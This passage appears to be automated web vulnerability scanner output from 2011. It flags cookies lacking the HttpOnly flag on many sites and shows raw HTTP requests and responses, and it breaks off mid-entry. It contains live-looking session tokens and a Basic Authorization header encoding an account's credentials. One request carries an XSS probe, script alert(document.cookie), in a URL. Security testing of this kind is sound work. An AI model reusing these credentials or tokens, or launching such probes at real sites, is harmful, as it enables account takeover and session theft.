The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jsfb/embed.php?pid=3922&bid=2123 HTTP/1.1 Host: www.paperg.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
var IMAGE_ROOT = 'http://www.paperg.com/beta/'; var flyerboard_root = 'http://www.paperg.com/jsfb/'; var remote_ip = '173.193.214.243'; var view = ''; var edit = '0'; var EMBED_URL2123 = 'http://www. ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.parenthood.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:54:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=2bb2r6pp17500tshvuo5ak5ap5; path=/ Vary: Accept-Encoding Cache-Control: public Expires: Thu, 15 May 2010 20:00:00 GMT Connection: close Content-Type: text/html; charset=ISO-8859-1 Set-Cookie: BIGipServerwww_parenthood.com_http_pool=457334026.20480.0000; path=/ Content-Length: 106355
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta htt ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=8tjbv0o18kobn9bckebm33vd32; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.roomsaver.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 00:09:04 GMT Server: Apache X-Powered-By: PHP/5.3.1 Set-Cookie: PHPSESSID=8tjbv0o18kobn9bckebm33vd32; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" x ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.sea-tec.it Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Cache-Control: private Content-Length: 144 Content-Type: text/html Location: it/index.asp Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDCQCBQBBR=FJGEDFLCALFBGHNFMNPFKKON; path=/ X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 02:28:43 GMT Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.senioroutlook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Cache-Control: private Content-Length: 132 Content-Type: text/html Location: default.asp Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDQSSBQQRT=HMPBCLOCPPJOAKGIALPFPFPD; path=/ X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 00:09:16 GMT Connection: close
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="default.asp">here</a>.</body>
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=6p76tbjmo4sg3qaa5nn32r74t5; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /lensmaster/bookmark HTTP/1.1 Host: www.squidoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Company/Community.aspx?tp=Abt_Tab_HandsetRecycling HTTP/1.1 Host: www.t-mobile.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pick/new/submit/sociable/?url={u}&name={t} HTTP/1.1 Host: www.thisnext.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.w-w-i.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /velux_5_oceans_2010_race/ HTTP/1.1 Host: www.w-w-i.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /event_results_cumulative.cfm HTTP/1.1 Host: www.yachtscoring.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Connection: close Date: Tue, 25 Jan 2011 04:42:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=7018349;expires=Thu, 17-Jan-2041 04:42:50 GMT;path=/ Set-Cookie: CFTOKEN=92203677;expires=Thu, 17-Jan-2041 04:42:50 GMT;path=/ Set-Cookie: CFID=7018349;path=/ Set-Cookie: CFTOKEN=92203677;path=/ location: ./select_event.cfm?CFID=7018349&CFTOKEN=92203677 Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /mobile/phoneforecast/settings.php HTTP/1.1 Host: www3.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /i.cid?c=345683&d=30&page=landingPage HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=aDnW0LrwZayOnXwr1QHr2jw47YFSRv4Za7XcQkGtYZdRZcWf7wADFEVHJyPbI34C71hPcXHKqC4rKUR10ZauE2JtrnsNVwlCTDlBxKRo78YQefyFwV2spqhEjwpgWtMSLxFV7yjY44B29vthYSxQDZdm0Y0mEGGuq3vvM6sZbWWCBS9ygvc7XVZbdDZaekm5Kmxbh5WlcNUFZa1fiHcrP5N16q6mbZarKtmZagM8Uv3qPGsepQSrfNK9vOubwfVB3hYbZbKmqUUdsYdVgLIeb
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_billing HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/customer_referrals Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=xKCQsCCPCUppgX7z_Q9C4emqopp0oWW0L4d3d922d
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_contact HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_billing Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=OUv_K55TQrSiTPkaFmDuUem4opp0oWW0L4d3d9235
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_flash HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_history HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_contact Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=STcAtGU6KvbrR3ZK53Am_em4opp0oWW0L4d3d9237
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/customer_referrals HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_flash Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=DHtHt0lU_TcSG.zKACw1yemKopp0oWW0L4d3d921d
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/referrals_cashout HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_flash Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=obHFXmnhMbJX5LfJRNZRWemqopp0oWW0L4d3d924f
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_overview HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:35 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=.NtkeVYzZQxxA.BCeif7Dem4opp0oWW0L4d3d944f; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_renew HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:39 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=H7MjtTwyFzdgi1ol1ako0emqopp0oWW0L4d3d9453; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_settings HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:37 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=C378.xjGh8DpywVURU2nsemaopp0oWW0L4d3d9451; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
<HTML><HEAD> <TITLE>Newsguy - Account Administration - Account Settings</TITLE> <script src="/accnt_forms.js"></script> <script language="JavaScript"> <!-- calculate available quotas by values type in ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_signup_usenet HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:45 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=dLOXayhNSH0bYlx_7dbu1emqopp0oWW0L4d3d9459; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_upgrade HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:42 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=F1xwYpJIfeFc7m0gMa_onemKopp0oWW0L4d3d9456; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=4548&pcv=47 HTTP/1.1 Host: action.media6degrees.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt1181qqxzt1181qqxzt1181qqxzt1181qq; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv181qq00f0o01050110e; rdrlst=20s0so2ylebnns0000000f0o01050110e7dpletz4d0000000b0o01050110bmmnlebnns0000000f0o01050110e10rlfjpei000000010o010501101x1blebnns0000000f0o01050110exo1lebnns0000000f0o01050110eeh5lf17qf000000070o0105011076bylemlne0000000d0o01050110dw3clebnns0000000f0o01050110e7gmlebnns0000000f0o01050110ejv6lebnns0000000f0o01050110ej4ilew2e2000000090o010501109xthlebnns0000000f0o01050110efullf8gij000000030o010501103jillebnns0000000f0o01050110efuqlegh2b0000000e0o01050110eb6mlf17qk000000060o010501106mz1lebnns0000000f0o01050110ep7vlebnns0000000f0o01050110exvslebnns0000000f0o01050110exuklebnns0000000f0o01050110ex1jlebnns0000000f0o01050110ejk7lebnns0000000f0o01050110eyiplebnns0000000f0o01050110exwflebnns0000000f0o01050110eyh0lebnns0000000f0o01050110ee4vlebnns0000000f0o01050110exwblebnns0000000f0o01050110e; sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo000000050o01050110582gletz4d0pqa500a0l000400100ag2leqh190t8d900c0o01050110c82hlebnns181qq00f0o01050110e9zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000010o010501101820lebnns181qq00e0l000400100b0olfjpei000000010o010501101ab4lebnns181qq00f0o01050110e9szlebnns181qq00f0o01050110e8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b138c700e0o01050110eal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei000000010o0105011018bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns181qq00e0l000400100b08lfjpei000000010o01050110140slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc000000020o01050110240uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; vstcnt=3lebnns021l034e2061201181qq4fhux122q000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru0000000000000004esx7120104tej0r013ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: CP="COM NAV INT STA NID OUR IND NOI" Pragma: no-cache Cache-Control: no-cache Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: clid=2lebnns011706ch47d7o8wtv18e3v00g0o02050210f; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: orblb=2lfk1rn012dh10u0100000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: rdrlst=2110s7dpletz4d0000000c0o02050210co2ylebnns0000000g0o02050210f10elfk1rn000000010o010501101mmnlebnns0000000g0o02050210fxo1lebnns0000000g0o02050210fx1blebnns0000000g0o02050210feh5lf17qf000000080o0205021086bylemlne0000000e0o02050210ew3clebnns0000000g0o02050210f7gmlebnns0000000g0o02050210fjv6lebnns0000000g0o02050210fj4ilew2e20000000a0o02050210axthlebnns0000000g0o02050210ffullf8gij000000040o02050210410flfk1rn000000010o0105011010c9lfk1rn000000010o010501101jillebnns0000000g0o02050210ffuqlegh2b0000000f0o02050210fb6mlf17qk000000070o020502107mz1lebnns0000000g0o02050210fcajlfk1rn000000010o010501101p7vlebnns0000000g0o02050210f7vglfk1rn000000010o010501101xvslebnns0000000g0o02050210f10elfk1rn000000010o01050110110rlfjpei000000020o020502102xuklebnns0000000g0o02050210fx1jlebnns0000000g0o02050210fjk7lebnns0000000g0o02050210fcbnlfk1rn000000010o010501101yiplebnns0000000g0o02050210fyh0lebnns0000000g0o02050210fxwflebnns0000000g0o02050210fe4vlebnns0000000g0o02050210f10elfk1rn000000010o010501101jwblfk1rn000000010o010501101xwblebnns0000000g0o02050210f; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo000000060o020502106ag2leqh190tkqe00d0o02050210d82gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns181qq00g0o02050210f5q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000020o020502102820lebnns181qq00e0l000400100b0olfjpei000000020o020502102ab4lebnns181qq00g0o02050210f9szlebnns181qq00g0o02050210f8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b13kpc00f0o02050210fal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns181qq00e0l0004001007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei000000020o020502102b08lfjpei000000020o02050210240slebnns181qq00e0l00040010045mlfdxmc000000030o020502103a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Location: http://ad.yieldmanager.com/pixel?t=2&id=961073&id=1146992&id=1146943&id=1146965&id=1146949&id=750331&id=643545&id=970658&id=750295&id=276802 Content-Length: 0 Date: Tue, 25 Jan 2011 01:35:46 GMT
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|1323822/422931/14998|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click;h=v8/3a99/f/b2/*/d;234819764;0-0;0;55748943;4307-300/250;40168029/40185816/1;;~sscs=?http:/r1-ads.ace.advertising.com/click/site=0000772178/mnum=0000924994/cstr=49004778=_4d3dea59,5764026402,772178^924994^87^0,1_/xsxdata=$xsxdata/bnum=49004778/optn=64?trg=http%3a%2f%2fwww.nutrisystem.com/jsps_hmr/tracking/click.jsp%3Fiid%3D28533%26rURL%3D/webbmipage1 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://r1-ads.ace.advertising.com/click/site=0000772178/mnum=0000924994/cstr=49004778=_4d3dea59,5764026402,772178^924994^87^0,1_/xsxdata=$xsxdata/bnum=49004778/optn=64?trg=http:%2f%2fwww.nutrisystem.com/jsps_hmr/tracking/click.jsp%3Fiid%3D28533%26rURL%3D/webbmipage1 Set-Cookie: id=c653243310000d9|1323822/422931/14998|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Mon, 24 Jan 2011 22:29:19 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /www/delivery/ajs.php?zoneid=4&target=_blank&cb=9279381274&charset=UTF-8&loc=http%3A//www.masjo.com/search/learn+typing+quick+and+easy+cracka074f%253Cscript%253Ealert%28document.cookie%29%253C/script%253Ec4a5acfda9b/page/419/x22&referer=http%3A//burp/show/30 HTTP/1.1 Host: ad.masjo.com Proxy-Connection: keep-alive Referer: http://www.masjo.com/search/learn+typing+quick+and+easy+cracka074f%3Cscript%3Ealert(document.cookie)%3C/script%3Ec4a5acfda9b/page/419/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /www/delivery/ck.php?oaparams=2__bannerid=10__zoneid=4__cb=bd3aec0742__oadest=http%3A%2F%2Fsecure.hostgator.com%2F%7Eaffiliat%2Fcgi-bin%2Faffiliates%2Fclickthru.cgi%3Fid%3Dkangaway\ HTTP/1.1 Host: ad.masjo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=143117481.1295903077.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/30; __utma=143117481.1825936610.1295903073.1295903073.1295903073.1; OAID=84cb75988ed38bcbe06c44d77408a71e; __utmc=143117481; __utmb=143117481.1.10.1295903073;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
